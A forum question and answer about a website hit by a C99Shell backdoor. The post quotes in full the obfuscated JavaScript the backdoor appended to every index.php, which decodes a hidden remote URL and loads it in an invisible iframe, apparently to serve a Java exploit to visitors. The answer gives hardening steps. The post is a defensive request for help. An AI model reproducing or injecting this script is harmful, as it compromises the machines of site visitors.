Protect website from Backdoor/PHP.C99Shell aka Trojan.Script.224490

My website was infected by a trojan script.

Somebody managed to create/upload a file called "x76x09.php" or "config.php" into my webspace's root directory. Its size is 44287 bytes and its MD5 checksum is 8dd76fc074b717fccfa30b86956992f8. I've analyzed this file using Virustotal. These results say it's "Backdoor/PHP.C99Shell" or "Trojan.Script.224490".

This file has been executed in the same moment when it was created. So it must have happened automatically. This file added the following malicious code to the end of every index.php on my webspace.

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

After that code was on my page, users reported a blue panel popping up in Firefox. It asked them to install a plugin. Now some of them have Exploit.Java.CVE-2010-0886.a on their PC.

The infection did happen although I have allow_url_fopen and allow_url_include turned off. And my hoster says the file wasn't uploaded via FTP.

So my questions are:

What does the malicious code do? How is it encoded?
How could the remote file ("x76x09.php" or "config.php") come to my webspace? SQL injection? Virus on my own PC?
How can I protect my website from such attacks in the future?

Thank you very much in advance! I really need help.

This question is similar. But it's more like a report. I didn't know it's a virus from the beginning. So this question here refers to the virus itself, the other question does not.

Solution

Your website has been hacked using exploit code.

You must updating everything, including any php libraries you may have installed.
Run phpsecinfo and remove all red and as much yellow as possible by modifying your .htaccess or php.ini.
Remove write privileges from all files and folders your web root (chmod 500 -R /var/www && chown www-root /var/www) the chown should be whatever user is running php so do a <?php system('whoami');?> to figure that out.
Change all passwords, and use sftp or ftps if you can.
Remove FILE privileges from your MySQL account that your php application uses.